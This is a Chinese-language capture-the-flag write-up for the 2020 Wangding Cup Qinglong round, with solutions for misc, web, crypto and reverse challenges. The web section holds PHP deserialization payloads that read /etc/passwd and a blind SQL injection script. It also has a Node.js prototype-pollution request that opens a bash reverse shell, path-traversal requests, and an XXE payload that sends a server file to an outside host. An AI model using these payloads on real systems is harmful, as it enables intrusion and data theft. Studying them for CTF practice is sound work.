2020 网鼎杯 青龙之战 部分题解

She1don,永远滴神。

Misc

签到

访问/static/index.js

1
2
3
4
5
6
7
8
9
10
11
12
var IAvaDcnZ1 = "icq68ec6e55677aaff76e5818cf3f46a";
$.ajax({
url: '\x66\x6c\x61\x67\x2e\x70\x68\x70',
type: '\x50\x4f\x53\x54',
data: '\x74\x6f\x6b\x65\x6e\x3d' + IAvaDcnZ1,
success: function (StRvT3) {
var StRvT3 = StRvT3;
console['\x6c\x6f\x67'](StRvT3)
}
})

// flag{69c748d2e8723246f27d6b66464289b9}

Web

AreUSerialz

解法一

PHP高版本可以使用public绕过,直接构造如下,可以读取/etc/passwd,无法读到flag.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

class FileHandler
{

public $op = 2;
public $filename = "php://filter/convert.base64-encode/resource=/etc/passwd";
public $content;

}

echo urlencode(serialize(new FileHandler()));

// /?str=O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A55%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2Fetc%2Fpasswd%22%3Bs%3A7%3A%22content%22%3BN%3B%7D

读取/etc/apache2/httpd.conf发现web目录在/web/html/下,遂读取/web/html/flag.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

class FileHandler
{

public $op = 2;
public $filename = "php://filter/convert.base64-encode/resource=/web/html/flag.php";
public $content;

}

echo urlencode(serialize(new FileHandler()));

// /?str=O%3A11%3A"FileHandler"%3A3%3A%7Bs%3A2%3A"op"%3Bi%3A2%3Bs%3A8%3A"filename"%3Bs%3A62%3A"php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2Fweb%2Fhtml%2Fflag.php"%3Bs%3A7%3A"content"%3BN%3B%7D
// flag{48c0cb43-93a5-4e1d-989a-9f95082a2a1b}
解法二

P牛去年八月曾在圈子里发过的一篇文章,指出可以用大写的S来表示字符串,此时后面的字符串可以使用16进制来表示。

1
s:5:"<null_byte>South<null_byte>"		->		S:5:"\00South\00"

因此在这里可以这样构造。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class FileHandler
{

protected $op = 2;
protected $filename = "php://filter/convert.base64-encode/resource=/web/html/flag.php";
protected $content;

}

echo urlencode(str_replace("\00", "\\00", str_replace("s:", "S:", serialize(new FileHandler()))));
// /?str=O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22%5C00%2A%5C00op%22%3Bi%3A2%3BS%3A11%3A%22%5C00%2A%5C00filename%22%3BS%3A62%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2Fweb%2Fhtml%2Fflag.php%22%3BS%3A10%3A%22%5C00%2A%5C00content%22%3BN%3B%7D

trace

有点恼人的是一旦超过二十条记录就要重置容器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import time

url = "http://f17a46f20e89437da0bc1c200f3e295bec352db6a69b4911.cloudgame2.ichunqiu.com/register_do.php"
flag = ""
for i in range(1, 66):
for j in range(33, 126):
data = {
'username': "2'^if(ascii(substr((select `2` from (select 1,2 union select * from flag)a limit 1,1)," + str(
i) + ",1))=" + str(j) + ",exp(999) or sleep(5),exp(999)) and '1"}
s = time.time()
r = requests.post(url, data=data)
e = time.time()
if e - s > 5:
flag = flag + chr(j)
print(flag)
break

# flag{792319d7-ccfd-4f7b-ac20-c5cf5bf206a6}

notes

Nodejs原型链污染,CVE-2019-10795

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
……
edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}
……
app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})
……
app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})

authorraw皆可。

1
2
3
4
5
6
7
POST /edit_note

id=__proto__&author=bash -i >%26 /dev/tcp/ip/port 0>%261

GET /status

# flag{de63de21-082b-4a9d-acbd-7d47a55840c6}

filejava

一个任意文件读取,/file_in_java/DownloadServlet?filename=../../../../WEB-INF/web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" id="WebApp_ID" version="2.5">
<display-name>file_in_java</display-name>
<welcome-file-list>
<welcome-file>upload.jsp</welcome-file>
</welcome-file-list>
<servlet>
<description></description>
<display-name>UploadServlet</display-name>
<servlet-name>UploadServlet</servlet-name>
<servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>UploadServlet</servlet-name>
<url-pattern>/UploadServlet</url-pattern>
</servlet-mapping>
<servlet>
<description></description>
<display-name>ListFileServlet</display-name>
<servlet-name>ListFileServlet</servlet-name>
<servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ListFileServlet</servlet-name>
<url-pattern>/ListFileServlet</url-pattern>
</servlet-mapping>
<servlet>
<description></description>
<display-name>DownloadServlet</display-name>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/DownloadServlet</url-pattern>
</servlet-mapping>
</web-app>

分别读取几个文件下来反编译分析。

1
2
3
4
5
GET /file_in_java/DownloadServlet?filename=../../../../WEB-INF/classes/cn/abc/servlet/ListFileServlet.class

GET /file_in_java/DownloadServlet?filename=../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class

GET /file_in_java/DownloadServlet?filename=../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class

UploadServlet中有所发现。

1
2
3
4
5
6
7
8
9
if (filename.startsWith("excel-") && "xlsx".equals(fileExtName))
try {
Workbook wb1 = WorkbookFactory.create(in);
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getFirstRowNum());
} catch (InvalidFormatException e) {
System.err.println("poi-ooxml-3.10 has something wrong");
e.printStackTrace();
}

CVE-2014-3529

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!-- [Content-Types].xml -->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % remote SYSTEM "http://106.12.140.75/evil.xml">
%remote;
%all;
]>
<root>&send;</root>
……

<!-- evil.xml -->
<!ENTITY % all "<!ENTITY send SYSTEM 'http://106.12.140.75?file=%file;'>">
……

<!-- 182.92.125.27 - - [10/May/2020 15:16:21] "GET /?file=flag{5ce62daa-97ad-4535-ba77-1c37b1b56373} HTTP/1.1" 200 - -->

Crypto

boom

MD5查出来en5oy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from z3 import *

x = Int('x')
y = Int('y')
z = Int('z')
s = Solver()
s.add(3 * x - y + z == 185)
s.add(2 * x + 3 * y - z == 321)
s.add(x + y + z == 173)
print
s.model()

# 746831

from z3 import *

x = Int('x')
s = Solver()
s.add(x * x + x - 7943722218936282 == 0)
print
s.model()

# 89127561

# flag{en5oy_746831_89127561}

you raise me up

丢进sage

1
2
3
4
5
6
7
8
m = 391190709124527428959489662565274039318305952172936859403855079581402770986890308469084735451207885386318986881041563704825943945069343345307381099559075
c = 6665851394203214245856789450723658632520816791621796775909766895233000234023642878786025644953797995373211308485605397024123180085924117610802485972584499
n = 2**512
m = Mod(m,n)
c = Mod(c,n)
discrete_log(c,m)

# flag{5f95ca93-1594-762d-ed0b-a9139692cb4a}

Reverse

bang

脱壳后用dex2jar就可以看到了。

参考文章,使用Frida给apk脱壳并穿透加固Hook函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public void onClick(View paramAnonymousView) {
String str = localEditText.getText().toString();
paramAnonymousView = paramBundle.getText().toString();
if (str.equals(paramAnonymousView)) {
MainActivity.showmsg("user is equal passwd");
} else if ((str.equals("admin") & paramAnonymousView.equals("pass71487"))) {
MainActivity.showmsg("success");
MainActivity.showmsg("flag is flag{borring_things}");
} else {
MainActivity.showmsg("wrong");
}
}

// flag{borring_things}。

signal

win32的虚拟机,逻辑很清晰,直接手动逆向即可。

flag{757515121f3d478}